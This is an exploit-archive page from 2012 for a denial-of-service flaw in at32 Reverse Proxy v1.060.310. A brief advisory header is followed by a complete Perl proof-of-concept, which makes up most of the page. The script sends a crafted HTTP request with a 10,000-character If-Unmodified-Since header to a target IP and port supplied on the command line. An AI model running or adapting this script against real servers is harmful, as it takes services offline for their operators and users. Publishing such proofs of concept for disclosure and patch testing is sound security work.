Home / exploitsPDF  

at32 Reverse Proxy 1.060.310 Denial Of Service

Posted on 20 March 2012

Title: at32 Reverse Proxy - Multiple HTTP Header Field Denial Of Service Vulnerability

Product : at32 Reverse Proxy

Version : v1.060.310

Vendor: http://www.at32.com/doc/rproxy.htm

Class: Boundary Condition Error

CVE:

Remote: Yes

Local: No

Published: 2012-03-14

Updated:

Impact : Medium (CVSS2 Base : 6.1, AV:A/AC:L/Au:N/C:N/I:N/A:C)

Bug Description :
At32 Reverse Proxy allows you to host several websites on a single IP or port.
At32 Reverse Proxy contains any denial of service vulnerability about HTTP Header Fields(Such as If-Modified-Since, Server, etc...) in its HTTP Proxy service.

POC:
#-------------------------------------------------------------
#!/usr/bin/perl -w
use Socket;
$|=1;
print '*****************************************'."
";
print '* At32 Reverse Proxy v1.060.310 DoS PoC *'."
";
print '* writed by demonalex@163.com *'."
";
print '*****************************************'."
";
$evil='A'x10000;
$test_ip=shift; #target ip
$test_port=shift; #target port
if(!defined($test_ip) || !defined($test_port)){
 die "usage : $0 target_ip target_port
";
}
$test_payload=
"GET / HTTP/1.0
".
"Accept: */*
".
"Accept-Language: zh-cn
".
"UA-CPU: x86
".
"If-Unmodified-Since: ".$evil."
".
"Accept-Encoding: gzip, deflate
".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322;".
" .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; 360SE)
".
"Host: ".$test_ip."
".
"Connection: Keep-Alive"."

";
$test_target=inet_aton($test_ip);
$test_target=sockaddr_in($test_port, $test_target);
socket(SOCK, AF_INET, SOCK_STREAM, 6) || die "cannot create socket!
";
connect(SOCK, $test_target) || die "cannot connect the target!
";
send(SOCK, $test_payload, 0) || die "cannot send the payload!
";
#recv(SOCK, $test_payload, 100, 0);
close(SOCK);
print "done!
";
exit(1);
#-------------------------------------------------------------

Credits : This vulnerability was discovered by demonalex@163.com
mail: demonalex@163.com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK

 

TOP

Malware :

Exploits :